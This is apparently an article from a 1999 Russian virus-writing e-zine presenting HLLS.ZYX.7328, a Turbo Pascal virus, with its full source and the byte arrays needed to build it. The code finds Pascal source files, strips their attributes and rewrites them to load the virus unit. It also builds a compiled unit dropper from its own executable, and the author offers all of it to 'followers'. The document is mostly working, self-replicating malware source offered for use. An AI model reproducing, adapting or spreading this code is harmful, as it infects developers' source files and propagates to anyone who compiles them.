- [Duke's Virus Labs #6] - [Page 09] - HLLS.ZYX.7328 (c) by Duke/SMF Имя вируса : HLLS.ZYX.7328 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 04.04.99 Весьма досадный факт - наличие на компьютере PAS-файлов, но отсутствие в PATH компилятора :((( Вирусу HLLS.ZYX это не по душе... Но и из этой ситуации есть выход (достаточно оригинальный), который воплощен в вирусе HLLS.ZYX.7328 Вирус создает TPU-файл БЕЗ помощи компилятора, своими силами ! Для этого не требуется много усилий - достаточно таскать с собой заголовок и хвост TPU-файла. Создаваемый TPU-файл будет иметь структуру : +---------------+ | заголовок TPU | +---------------+ | вирус | +---------------+ | хвост TPU | +---------------+ Однако тут есть одно но... Если сжать чистый вирус каким-либо упаковщиком, то заголовок и хвост для этого файла придется переделывать :(( А сжимать пораженный файл можно сколько угодно :) Все приведенные подключаемые массивы подобраны специально для данного вируса и не будут работать для малейшей его модификации. В прилагающийся к статье архив я положил маленькое приблудки, которые я использовал для создания этого вируса - они могут пригодиться моим последователям ;)) ===== begin hlls3zyx.pas ===== {$M 20000, 10000, 40000} program HLLS_ZYX_3; uses dos; const hs=$39b; ts=261; len=7328; {длина вируса} head:array[1..hs] of byte={$I head.inc}; tail:array[1..ts] of byte={$I tail.inc}; var Command,Compile:string; Comp:boolean; s:searchrec; mas:array[1..len] of byte; {для скорости работы вируса :)} {--------------------------------------------------------------------------} function UpStr(st:string):string; {преобразует строку к верхнему регистру} var n:string; i:integer; begin n:=''; for i:=1 to length(st) do n:=n+UpCase(st[i]); UpStr:=n; end; {--------------------------------------------------------------------------} function Find(name,what:string):boolean;{аналог досовской команды FIND} {Делает вирус независимым от присутствия утилиты FIND на диске} var f:text; st:string; begin Find:=false; assign(f,name);reset(f); while not eof(f) do begin readln(f,st); if pos(what,UpStr(st))<>0 then begin Find:=true; exit end end end; {--------------------------------------------------------------------------} procedure Infect(st:string); {поражает файл} const sn='$$$$$$$$'; var f,g:text; u,ip,w:byte; s:string; n:byte; begin u:=0; ip:=0; w:=0; {не поразили} if Find(st,'ZYX') then exit; {файл уже поражен} if Find(st,'USES') then u:=1 ; if Find(st,'PROGRAM') or Find(st,'IMPLEMENTATION') then ip:=1 ; exec(Command,'/c copy '+st+' '+sn+'>nul'); assign(f,sn);reset(f); {открыли временный файл} assign(g,st); setfattr(g,$20); {сняли атрибуты} rewrite(g); {перезаписали жертву} writeln(g,'{$M 3000, 0, 3000}'); if (ip=0) and (u=0) then begin writeln(g,'uses zyx;'); w:=1; end; while not eof(f) do begin readln(f,s); if w=1 then writeln(g,s) else begin if u=1 then if pos('USES',UpStr(s))<>0 then begin n:=pos('USES',UpStr(s))+4; write(g,copy(s,1,n)); write(g,'zyx,'); writeln(g,copy(s,n,length(s)-n+1)); w:=1; end else writeln(g,s) else if (pos('PROGRAM',UpStr(s))<>0) or (pos('IMPLEMENTATION',UpStr(s))<>0) then begin writeln(g,s); writeln(g,'uses zyx;'); w:=1; end else writeln(g,s) end; end; close(g); close(f);erase(f); end; {--------------------------------------------------------------------------} procedure MakeTPU; {создает TPU-dropper вируса} var t,v:file; c:byte; begin assign(t,'zyx.tpu');rewrite(t,1); blockwrite(t,head,hs); assign(v,paramstr(0));reset(v,1); blockread(v,mas,len); close(v); blockwrite(t,mas,len); blockwrite(t,tail,ts); close(t); end; {--------------------------------------------------------------------------} begin findfirst('*.pas',$21,s); {ищем PAS-файлы} if doserror=0 then {значит есть, чего поразить !} begin Command:='[HLLS.ZYX-3 (c) by Duke/SMF]';{немного копирайтов ;) } Command:=GetEnv('COMSPEC'); {определяем путь к COMMAND.COM} MakeTPU; {создаем ZYX.TPU} end; while doserror=0 do begin Infect(s.name); {поражаем найденный файл} findnext(s); end; end. ===== end hlls3zyx.pas ===== ===== begin head.inc ===== (84,80,85,81,0,0,0,0,226,0,96,0,197,1,213,1,229,1,229,1, 229,1,229,1,0,2,15,2,21,2,110,3,0,0,59,29,0,0,104,0, 0,0,0,0,21,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,126,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,226,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 242,0,0,0,0,0,0,0,5,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,83,3,122,121,120,0,0,21,186,242,0,5, 1,0,0,0,83,6,83,121,115,116,101,109,0,0,10,196,5,1,0,0, 1,0,0,83,3,100,111,115,0,0,39,231,0,0,242,0,1,126,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,226,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,242,0,0,0,0,0,0,0,5,1,151,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,82,8,83,116,97,114,116,105,110,103,128, 0,8,0,0,0,187,1,0,0,6,13,4,0,0,0,0,0,0,0,0, 0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,38, 0,0,0,0,0,0,0,0,0,0,0,203,28,24,0,0,0,0,0,112, 0,80,0,72,1,0,0,0,0,3,122,121,120,0,0,0,0,3,68,111, 115,0,0,0,0,6,83,121,115,116,101,109,4,0,0,61,121,132,38,7, 90,89,88,46,80,65,83,0,0,0,0,71,1,0,0,0,0,6,0,0, 0,7,0,60,1,0,3,8,0,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, 25,25,3,0,1,1,1,2,3,3,2,1,3,3,2,2,2,2,2,1, 1,0,0,0,0,1,0,38,0,67,1,5,0,15,3,26,26,4,0,0, 233,168,28,122,121,120,46,101,120,101,0,77,90,160,0,15,0,114,0,31, 0,111,9,194,16,199,3,32,78,0,0,134,6,0,0,28,0,0,0,9,0,0,0) ===== end head.inc ===== ===== begin tail.inc ===== (30,14,31,180,60,185,0,0,186,0,0,205,33,147,185,0,0,186,0,0, 41,209,180,64,205,33,180,62,205,33,31,195,7,67,79,77,83,80,69,67, 10,47,99,32,122,121,120,46,101,120,101,18,47,99,32,100,101,108,32,122, 121,120,46,101,120,101,62,110,117,108,85,137,229,184,0,1,154,0,0,0, 0,129,236,0,1,232,0,0,141,190,0,255,22,87,191,0,0,14,87,154, 0,0,0,0,191,0,0,14,87,154,0,0,0,0,141,190,0,255,22,87, 191,0,0,14,87,154,0,0,0,0,191,0,0,14,87,154,0,0,0,0, 137,236,93,203,0,0,0,0,0,0,80,0,0,3,0,180,28,0,80,0, 0,171,28,186,28,0,80,0,0,11,0,189,28,16,48,160,1,0,0,45, 0,0,0,8,0,0,0,54,0,0,80,8,0,0,0,63,0,8,48,232, 0,0,0,68,0,0,80,8,0,8,0,73,0,8,48,0,1,0,0,78, 0,0,80,8,0,0,0,89,0,8,48,232,0,0,0,94,0,0,80,8, 0,19,0,99,0,8,48,0,1,0,0,104,0,0,0,0,0,0,0,0,0) ===== end tail.inc =====